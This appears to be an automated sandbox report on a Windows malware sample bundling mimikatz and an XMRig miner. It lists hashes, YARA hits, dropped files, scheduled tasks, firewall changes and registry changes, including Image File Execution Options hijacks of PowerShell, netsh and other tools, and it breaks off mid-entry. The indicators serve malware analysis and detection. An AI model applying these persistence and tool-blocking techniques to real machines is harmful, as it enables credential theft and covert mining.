Analysis
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max time kernel
149s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240419-en -
resource tags
arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system -
submitted
29/04/2024, 13:41
Behavioral task
behavioral1
Sample
2024-04-29_acf4f0e0aee4ebf4d50a8715fb573e37_hacktools_icedid_mimikatz.exe
Resource
win7-20240419-en
General
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Target
2024-04-29_acf4f0e0aee4ebf4d50a8715fb573e37_hacktools_icedid_mimikatz.exe
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Size
8.7MB
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MD5
acf4f0e0aee4ebf4d50a8715fb573e37
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SHA1
603d6beb0122e44f6ca215b8dfcad1cc6ee5284c
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SHA256
81c31f4bbe7327ce705987ce6fa6aa24bf7394b33f78dec3f017a05ce9170e25
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SHA512
6ef7fd58ef613fa7eb97cf29f4bfcae86b80d4846d52cbcd91533458bb11ca071810a6f63e34775dc968ad7bae75fa804a10bafc535425116dfaac4e573dc01c
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SSDEEP
196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1
Malware Config
Signatures
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Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2908 created 1072 2908 bstalsu.exe 19 -
Contacts a large (27422) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
resource yara_rule behavioral1/memory/656-137-0x000000013FEE0000-0x000000013FFCE000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore -
UPX dump on OEP (original entry point) 33 IoCs
resource yara_rule behavioral1/memory/2248-0-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/memory/2248-4-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/files/0x002f00000001325f-5.dat UPX behavioral1/memory/2668-9-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/files/0x0006000000016d2d-130.dat UPX behavioral1/memory/656-136-0x000000013FEE0000-0x000000013FFCE000-memory.dmp UPX behavioral1/memory/656-137-0x000000013FEE0000-0x000000013FFCE000-memory.dmp UPX behavioral1/memory/1720-161-0x000000013F0C0000-0x000000013F11B000-memory.dmp UPX behavioral1/files/0x0006000000016fa9-159.dat UPX behavioral1/files/0x0006000000016d7d-164.dat UPX behavioral1/memory/408-168-0x000000013FBB0000-0x000000013FCD0000-memory.dmp UPX behavioral1/memory/2908-167-0x0000000002E80000-0x0000000002FA0000-memory.dmp UPX behavioral1/memory/1720-171-0x000000013F0C0000-0x000000013F11B000-memory.dmp UPX behavioral1/memory/1940-178-0x000000013F620000-0x000000013F67B000-memory.dmp UPX behavioral1/memory/1940-180-0x000000013F620000-0x000000013F67B000-memory.dmp UPX behavioral1/memory/2208-185-0x000000013FB40000-0x000000013FB9B000-memory.dmp UPX behavioral1/memory/2208-187-0x000000013FB40000-0x000000013FB9B000-memory.dmp UPX behavioral1/memory/1632-192-0x000000013FF20000-0x000000013FF7B000-memory.dmp UPX behavioral1/memory/1632-194-0x000000013FF20000-0x000000013FF7B000-memory.dmp UPX behavioral1/memory/408-196-0x000000013FBB0000-0x000000013FCD0000-memory.dmp UPX behavioral1/memory/1904-201-0x000000013FDA0000-0x000000013FDFB000-memory.dmp UPX behavioral1/memory/1904-203-0x000000013FDA0000-0x000000013FDFB000-memory.dmp UPX behavioral1/memory/408-207-0x000000013FBB0000-0x000000013FCD0000-memory.dmp UPX behavioral1/memory/408-208-0x000000013FBB0000-0x000000013FCD0000-memory.dmp UPX behavioral1/memory/408-209-0x000000013FBB0000-0x000000013FCD0000-memory.dmp UPX behavioral1/memory/408-215-0x000000013FBB0000-0x000000013FCD0000-memory.dmp UPX behavioral1/memory/408-216-0x000000013FBB0000-0x000000013FCD0000-memory.dmp UPX behavioral1/memory/408-232-0x000000013FBB0000-0x000000013FCD0000-memory.dmp UPX behavioral1/memory/408-233-0x000000013FBB0000-0x000000013FCD0000-memory.dmp UPX behavioral1/memory/408-234-0x000000013FBB0000-0x000000013FCD0000-memory.dmp UPX behavioral1/memory/408-236-0x000000013FBB0000-0x000000013FCD0000-memory.dmp UPX behavioral1/memory/408-240-0x000000013FBB0000-0x000000013FCD0000-memory.dmp UPX behavioral1/memory/408-241-0x000000013FBB0000-0x000000013FCD0000-memory.dmp UPX -
XMRig Miner payload 12 IoCs
resource yara_rule behavioral1/memory/408-196-0x000000013FBB0000-0x000000013FCD0000-memory.dmp xmrig behavioral1/memory/408-207-0x000000013FBB0000-0x000000013FCD0000-memory.dmp xmrig behavioral1/memory/408-208-0x000000013FBB0000-0x000000013FCD0000-memory.dmp xmrig behavioral1/memory/408-209-0x000000013FBB0000-0x000000013FCD0000-memory.dmp xmrig behavioral1/memory/408-215-0x000000013FBB0000-0x000000013FCD0000-memory.dmp xmrig behavioral1/memory/408-216-0x000000013FBB0000-0x000000013FCD0000-memory.dmp xmrig behavioral1/memory/408-232-0x000000013FBB0000-0x000000013FCD0000-memory.dmp xmrig behavioral1/memory/408-233-0x000000013FBB0000-0x000000013FCD0000-memory.dmp xmrig behavioral1/memory/408-234-0x000000013FBB0000-0x000000013FCD0000-memory.dmp xmrig behavioral1/memory/408-236-0x000000013FBB0000-0x000000013FCD0000-memory.dmp xmrig behavioral1/memory/408-240-0x000000013FBB0000-0x000000013FCD0000-memory.dmp xmrig behavioral1/memory/408-241-0x000000013FBB0000-0x000000013FCD0000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 6 IoCs
resource yara_rule behavioral1/memory/2248-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/2248-4-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/files/0x002f00000001325f-5.dat mimikatz behavioral1/memory/2668-9-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/748-135-0x00000000010C0000-0x00000000011AE000-memory.dmp mimikatz behavioral1/memory/656-137-0x000000013FEE0000-0x000000013FFCE000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\hosts bstalsu.exe File opened for modification C:\Windows\system32\drivers\etc\hosts bstalsu.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 2116 netsh.exe 1196 netsh.exe -
Sets file execution options in registry 2 TTPs 40 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe bstalsu.exe -
Executes dropped EXE 16 IoCs
pid Process 2668 bstalsu.exe 2908 bstalsu.exe 1572 wpcap.exe 584 ilclyhugu.exe 656 vfshost.exe 532 xohudmc.exe 1392 koaaya.exe 1720 gelcitubi.exe 408 bacyfi.exe 1940 gelcitubi.exe 2208 gelcitubi.exe 1632 gelcitubi.exe 1904 gelcitubi.exe 2460 bstalsu.exe 1476 eqmguarbb.exe 1812 bstalsu.exe -
Loads dropped DLL 22 IoCs
pid Process 1896 cmd.exe 1896 cmd.exe 2784 cmd.exe 1572 wpcap.exe 1572 wpcap.exe 1572 wpcap.exe 1572 wpcap.exe 1572 wpcap.exe 476 cmd.exe 584 ilclyhugu.exe 584 ilclyhugu.exe 748 cmd.exe 748 cmd.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 1656 cmd.exe -
resource yara_rule behavioral1/files/0x0006000000016d2d-130.dat upx behavioral1/memory/656-136-0x000000013FEE0000-0x000000013FFCE000-memory.dmp upx behavioral1/memory/656-137-0x000000013FEE0000-0x000000013FFCE000-memory.dmp upx behavioral1/memory/1720-161-0x000000013F0C0000-0x000000013F11B000-memory.dmp upx behavioral1/files/0x0006000000016fa9-159.dat upx behavioral1/files/0x0006000000016d7d-164.dat upx behavioral1/memory/408-168-0x000000013FBB0000-0x000000013FCD0000-memory.dmp upx behavioral1/memory/2908-167-0x0000000002E80000-0x0000000002FA0000-memory.dmp upx behavioral1/memory/1720-171-0x000000013F0C0000-0x000000013F11B000-memory.dmp upx behavioral1/memory/1940-178-0x000000013F620000-0x000000013F67B000-memory.dmp upx behavioral1/memory/1940-180-0x000000013F620000-0x000000013F67B000-memory.dmp upx behavioral1/memory/2208-185-0x000000013FB40000-0x000000013FB9B000-memory.dmp upx behavioral1/memory/2208-187-0x000000013FB40000-0x000000013FB9B000-memory.dmp upx behavioral1/memory/1632-192-0x000000013FF20000-0x000000013FF7B000-memory.dmp upx behavioral1/memory/1632-194-0x000000013FF20000-0x000000013FF7B000-memory.dmp upx behavioral1/memory/408-196-0x000000013FBB0000-0x000000013FCD0000-memory.dmp upx behavioral1/memory/2908-200-0x0000000001A40000-0x0000000001A9B000-memory.dmp upx behavioral1/memory/1904-201-0x000000013FDA0000-0x000000013FDFB000-memory.dmp upx behavioral1/memory/1904-203-0x000000013FDA0000-0x000000013FDFB000-memory.dmp upx behavioral1/memory/408-207-0x000000013FBB0000-0x000000013FCD0000-memory.dmp upx behavioral1/memory/408-208-0x000000013FBB0000-0x000000013FCD0000-memory.dmp upx behavioral1/memory/408-209-0x000000013FBB0000-0x000000013FCD0000-memory.dmp upx behavioral1/memory/408-215-0x000000013FBB0000-0x000000013FCD0000-memory.dmp upx behavioral1/memory/408-216-0x000000013FBB0000-0x000000013FCD0000-memory.dmp upx behavioral1/memory/408-232-0x000000013FBB0000-0x000000013FCD0000-memory.dmp upx behavioral1/memory/408-233-0x000000013FBB0000-0x000000013FCD0000-memory.dmp upx behavioral1/memory/408-234-0x000000013FBB0000-0x000000013FCD0000-memory.dmp upx behavioral1/memory/408-236-0x000000013FBB0000-0x000000013FCD0000-memory.dmp upx behavioral1/memory/408-240-0x000000013FBB0000-0x000000013FCD0000-memory.dmp upx behavioral1/memory/408-241-0x000000013FBB0000-0x000000013FCD0000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 17 ifconfig.me 18 ifconfig.me -
Creates a Windows Service
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Drops file in System32 directory 12 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2326C1864DE719190C396A6E8734D8B4 bstalsu.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\SysWOW64\koaaya.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 bstalsu.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 bstalsu.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2326C1864DE719190C396A6E8734D8B4 bstalsu.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat bstalsu.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\koaaya.exe xohudmc.exe -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\apaubnhnu\UnattendGC\docmicfg.xml bstalsu.exe File created C:\Windows\apaubnhnu\Corporate\vfshost.exe bstalsu.exe File created C:\Windows\apaubnhnu\upbdrjv\swrpwe.exe bstalsu.exe File opened for modification C:\Windows\apaubnhnu\liyusunlc\Result.txt eqmguarbb.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\tibe-2.dll bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\tucl-1.dll bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\schoedcl.xml bstalsu.exe File opened for modification C:\Windows\apaubnhnu\Corporate\log.txt cmd.exe File created C:\Windows\uczbcelu\bstalsu.exe 2024-04-29_acf4f0e0aee4ebf4d50a8715fb573e37_hacktools_icedid_mimikatz.exe File opened for modification C:\Windows\uczbcelu\bstalsu.exe 2024-04-29_acf4f0e0aee4ebf4d50a8715fb573e37_hacktools_icedid_mimikatz.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\docmicfg.exe bstalsu.exe File created C:\Windows\apaubnhnu\liyusunlc\Packet.dll bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\Shellcode.ini bstalsu.exe File created C:\Windows\uczbcelu\spoolsrv.xml bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\AppCapture32.dll bstalsu.exe File created C:\Windows\apaubnhnu\liyusunlc\ilclyhugu.exe bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\libeay32.dll bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\ssleay32.dll bstalsu.exe File created C:\Windows\uczbcelu\vimpcsvc.xml bstalsu.exe File created C:\Windows\apaubnhnu\Corporate\mimidrv.sys bstalsu.exe File created C:\Windows\apaubnhnu\liyusunlc\wpcap.exe bstalsu.exe File opened for modification C:\Windows\apaubnhnu\liyusunlc\Packet.dll bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\exma-1.dll bstalsu.exe File created C:\Windows\apaubnhnu\liyusunlc\wpcap.dll bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\ucl.dll bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\spoolsrv.xml bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\spoolsrv.exe bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\vimpcsvc.exe bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\svschost.xml bstalsu.exe File opened for modification C:\Windows\uczbcelu\spoolsrv.xml bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\crli-0.dll bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\xdvl-0.dll bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\svschost.exe bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\AppCapture64.dll bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\schoedcl.exe bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\vimpcsvc.xml bstalsu.exe File opened for modification C:\Windows\uczbcelu\schoedcl.xml bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\spoolsrv.xml bstalsu.exe File created C:\Windows\apaubnhnu\liyusunlc\eqmguarbb.exe bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\cnli-1.dll bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\svschost.xml bstalsu.exe File created C:\Windows\apaubnhnu\Corporate\mimilib.dll bstalsu.exe File created C:\Windows\apaubnhnu\liyusunlc\ip.txt bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\vimpcsvc.xml bstalsu.exe File created C:\Windows\apaubnhnu\liyusunlc\scan.bat bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\libxml2.dll bstalsu.exe File created C:\Windows\uczbcelu\svschost.xml bstalsu.exe File created C:\Windows\uczbcelu\docmicfg.xml bstalsu.exe File created C:\Windows\uczbcelu\schoedcl.xml bstalsu.exe File opened for modification C:\Windows\uczbcelu\docmicfg.xml bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\posh-0.dll bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\zlib1.dll bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\schoedcl.xml bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\coli-0.dll bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\trch-1.dll bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\docmicfg.xml bstalsu.exe File created C:\Windows\ime\bstalsu.exe bstalsu.exe File created C:\Windows\apaubnhnu\UnattendGC\specials\trfo-2.dll bstalsu.exe File opened for modification C:\Windows\uczbcelu\svschost.xml bstalsu.exe File opened for modification C:\Windows\uczbcelu\vimpcsvc.xml bstalsu.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1644 sc.exe 1932 sc.exe 2840 sc.exe 1880 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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NSIS installer 3 IoCs
resource yara_rule behavioral1/files/0x002f00000001325f-5.dat nsis_installer_2 behavioral1/files/0x0008000000013a85-15.dat nsis_installer_1 behavioral1/files/0x0008000000013a85-15.dat nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2072 schtasks.exe 1612 schtasks.exe 1968 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump gelcitubi.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates bstalsu.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ee-3e-b5-d5-ce-ce\WpadDetectedUrl bstalsu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump gelcitubi.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates bstalsu.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ee-3e-b5-d5-ce-ce\WpadDecisionReason = "1" bstalsu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs bstalsu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs bstalsu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs bstalsu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" gelcitubi.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs bstalsu.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" bstalsu.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" gelcitubi.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed bstalsu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ee-3e-b5-d5-ce-ce bstalsu.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals gelcitubi.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs bstalsu.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople bstalsu.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA bstalsu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates bstalsu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs bstalsu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates bstalsu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates bstalsu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs bstalsu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{0259B94D-9A58-4CC3-AA69-93CEB320489E}\WpadDecisionTime = b0fc0d023b9ada01 bstalsu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created 